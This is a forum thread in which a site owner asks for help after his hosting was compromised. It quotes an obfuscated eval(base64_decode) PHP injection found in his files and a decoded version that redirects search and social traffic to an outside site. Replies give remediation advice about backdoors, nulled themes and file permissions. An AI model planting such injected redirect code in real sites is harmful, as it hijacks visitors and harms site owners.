being hacked

fung1990

Power Member
Joined
Dec 21, 2009
Messages
592
Reaction score
51
my webhosting hacked by some fuxking asshoo

keep adding code to all my php file:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJvYWR3YXkuYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ=="));

i just clean it up and check it again, it shows again. about 24 hours.
i think i got a backdoor on my hosting but i have too much file.

need some help.
 
Code:
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"************") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://broadway.bee.pl/");
exit();
}
}
}
}
Hmm it seems it redirects all traffic coming from google,yahoo,facebook anything organic to his site, thats pretty smart
Edit*

As for what you can do is identify the backdoor, what can i tell you, downaload all the files and give them a quick scan or check if your hosting panel has an antivirus scan installed and do it from there, also finding the backdoor is half the job you have to identify the vulnerability that allowed the hacker to upload the shell, check for any forms that allow upload or plugins. My guess is that there exists a form that does not filter bad extensions, for exmple .php extensions
 
Last edited:
i got some of his affiliate account.
how can i report it by using this tricks?
 
you have nulled script??

Reading your problem I already have Headache good luck finding the backdoor XD
 
Little more information might be good, what script(s) are you running? What versions? Are they legit or nulled?
 
I know where it could come from :

1) Nulled Template / plugin

2) Filezilla FTP client ( AVG was the only one if found to clean it for a web hosting customer)

GL with that
 
take a look if you have any file with permissions like 777 and change to 644 and check if everything is working properly. take a look at the owner previlleges and which owner has the right to change files if you have more than one for your folder(s).

good luck
 
its 100% theme related! your theme is backdoored. change theme!
 
Take _Chip_'s suggestion and also tell us what scripts/plugins you have running.
 
Are you using a plugin of some sort that allows you to submit php scripts to be executed that you could turn off? Just wondering... cause he/she is obviously entering the change and having your existing scripts execute them... it's either injecting them into a vulnerability or there is a way to execute the external script that is entered into a comment box.

That's one of the reasons why I don't like allowing php to be executed even in the admin windows...
 
i am running couple script, mostly wordpress.
still looking for the backdoor.
 
Back
Top